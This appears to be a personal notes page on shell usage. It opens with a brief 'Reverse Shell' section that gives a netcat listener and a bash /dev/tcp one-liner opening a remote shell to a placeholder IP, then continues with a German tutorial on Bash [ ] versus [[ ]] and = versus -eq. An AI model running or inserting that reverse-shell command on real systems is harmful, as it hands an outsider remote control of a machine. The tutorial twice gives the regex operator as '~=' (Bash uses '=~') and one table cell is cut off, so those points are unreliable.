# shell

- Reverse Shell
- Bash [ ] vs. [[ ]] und = vs. -eq

# Reverse Shell

How to open a reverse shell

On receiving end, open port with i.e. netcat (nc).

```
nc -lvp 4444
```

On sending server, open connection to receiver with

```
bash -i >& /dev/tcp/<receiver IP-Address>/4444 0>&1
```

# Bash [ ] vs. [[ ]] und = vs. -eq

In der Bash-Shell stolpert man schnell über `[ ]` und `[[ ]]`. Auf den ersten Blick tun beide genau dasselbe: Sie prüfen Bedingungen (z. B. ob eine Datei existiert oder ob zwei Strings gleich sind).

## `[ ]` vs. `[[ ]]`

Der Hauptunterschied ist: **`[` ist ein altes, externes Kommando (bzw. Shell-Builtin), während `[[ ]]` ein modernes, internes Shell-Schlüsselwort ist.**

Gründe, warum man in modernen Bash-Skripten fast immer `[[ ]]` bevorzugen sollte.

## 1. Das einfache `[` (POSIX / Bourne Shell)

Das einfache `[` ist eigentlich ein Synonym für das Kommando `test`. Weil es ein echtes Kommando ist, gelten für es die ganz normalen, strengen Parsing-Regeln der Shell. Das führt oft zu Fehlern.

- **Pflicht zur Quotierung:** Variablen *müssen* in Anführungszeichen gesetzt werden, falls sie leer sind oder Leerzeichen enthalten.
- **Logische Operatoren:** Verknüpfungen wie AND und OR werden mit den alten Flags `-a` und `-o` umgesetzt.

**Beispiel:**

```
if [ "$name" = "John Doe" ]; then
    echo "Hallo John"
fi
```

> Wenn man hier die Anführungszeichen um `$name` vergisst und die Variable leer ist, stürzt das Skript mit einem Syntaxfehler ab (**`\[: =: unary operator expected`**).

# 2. Das doppelte `[[ ]]` (Bash-Erweiterung)

`[[ ]]` wurde eingeführt, um das Leben von Entwicklern leichter und Skripte sicherer zu machen. Da es ein eingebautes Schlüsselwort der Bash ist, "sieht" die Shell, was darin passiert, bevor die Variablen aufgelöst werden.

- **Keine Abstürze bei leeren Variablen:** Du musst Variablen nicht zwingend in Anführungszeichen setzen. Wenn `$name` leer ist, funktioniert es trotzdem.
- **Moderne Logik:** Du kannst die ganz normalen Operatoren `&&` (AND) und `||` (OR) verwenden.
- **Pattern Matching & Regex:** Es unterstützt mächtige Vergleiche mit Wildcards (`*`) und regulären Ausdrücken (`~=`).

**Beispiel:**

```
if [[ $name == "John Doe" ]]; then
    echo "Hallo John"
fi
```

## Die wichtigsten Unterschiede im Direktvergleich

| **Feature** | **Einfaches \[ (test)** | **Doppeltes \[\[ \]\]** |
|---|---|---|
| **Typ** | Befehl / Builtin | Shell-Schlüsselwort |
| **Portabilität** | **Sehr hoch** (Funktioniert in jeder POSIX-Shell, z.B. `sh`, `dash`) | **Eingeschränkt** (Funktioniert in `bash`, `zsh`, `ksh`, aber *nicht* in `sh`) |
| **Leere Variablen** | Erfordern `"..."`, sonst Syntaxfehler | Funktionieren sicher ohne `"..."` |
| **Und / Oder** | `-a` (AND) und `-o` (OR) | `&&` (AND) und ` |
| **Wildcards (Globbing)** | Nein | Ja (z. B. `[[ $file == *.txt ]]`) |
| **Regex-Vergleich** | Nein | Ja (mit dem `~=` Operator) |

# Beispiele für die Vorteile von `[[ ]]`

## 1. Sicherer Umgang leeren Variablen

```
file=""
[ -f $file ]   # FEHLER: bash: [: -f: unary operator expected
[[ -f $file ]] # SICHER: Ergibt einfach "false", kein Absturz.
```

## 2. Intuitive Logik

```
# Beim einfachen [ musst du -a nutzen, oder zwei [ ] verketten:
[ "$A" = "x" ] && [ "$B" = "y" ]

# Bei [[ ]] kannst du es elegant hineinschreiben:
[[ $A == "x" && $B == "y" ]]
```

### 3. Mustererkennung (Pattern Matching)

Möchtest du prüfen, ob eine Variable mit einem bestimmten Buchstaben endet? Das geht nur mit `[[ ]]`

```
version="version_2.0"

if [[ $version == *_2.0 ]]; then
    echo "Es ist Version 2!"
fi
```

## Fazit

- Schreibst du ein reines **Bash-Skript** (Standard auf den meisten Linux-Systemen, erkennbar am `#!/bin/bash` in der ersten Zeile)? **Nutze immer `[[ ]]`.** Es ist sicherer, moderner und kann mehr.
- Schreibst du ein hochgradig portables Skript, das auch auf eingebetteten Systemen oder alten UNIX-Servern unter der Standard-Shell (`#!/bin/sh`) laufen muss? **Nutze `[`**, aber denke penibel an die Anführungszeichen um deine Variablen.

## `=` vs. `-eq`

- `=` **(oder `==`):** Wird ausschließlich für **Text (Strings)** verwendet. Es vergleicht die Zeichen alphabetisch/lexikografisch.
- `-eq`**:** Steht für *equal* und wird ausschließlich für **Ganzzahlen (Integers)** verwendet. Es vergleicht den mathematischen Wert.

> Operatoren mit einem Bindestrich (`-eq`, `-ne`, `-lt`, `-gt`) erwarten immer **Zahlen**.
> Operatoren aus Symbolen (`=`, `==`, `!=`) erwarten immer **Text**.

**Beispiel:**

```
A="05"
B="5"
```

```
# 1. Textvergleich mit ==
if [[ $A == $B ]]; then
    echo "Text ist gleich"
else
    echo "Text ist UNGLEICH"
fi

# 2. Zahlenvergleich mit -eq
if [[ $A -eq $B ]]; then
    echo "Zahlenwert ist GLEICH"
else
    echo "Zahlenwert ist ungleich"
fi
```

- Der **Textvergleich (`==`) sagt: UNGLEICH!** Warum? Weil die Zeichenkette `"05"` nicht exakt dieselbe ist wie die Zeichenkette `"5"` (die `"0"` am Anfang macht den Unterschied).
- Der **Zahlenvergleich (`-eq`) sagt: GLEICH!** Warum? Weil die Bash beide Werte in Zahlen umwandelt, und mathematisch ist 05 exakt dasselbe wie 5.

## Für Text (Strings)

- `=` oder `==` : Ist gleich? (z. B. `[[ $antwort == "ja" ]]`)
- `!=` : Ist ungleich? (z. B. `[[ $user != "root" ]]`)

## Für Zahlen (Integers)

- `-eq` : *equal* (gleich) => `5 -eq 5`
- `-ne` : *not equal* (nicht gleich) => `5 -ne 3`
- `-lt` : *less than* (kleiner als) => `3 -lt 5`
- `-le` : *less or equal* (kleiner oder gleich) => `3 -le 5`
- `-gt` : *greater than* (größer als) => `5 -gt 3`
- `-ge` : *greater or equal* (größer oder gleich) => `5 -ge 5`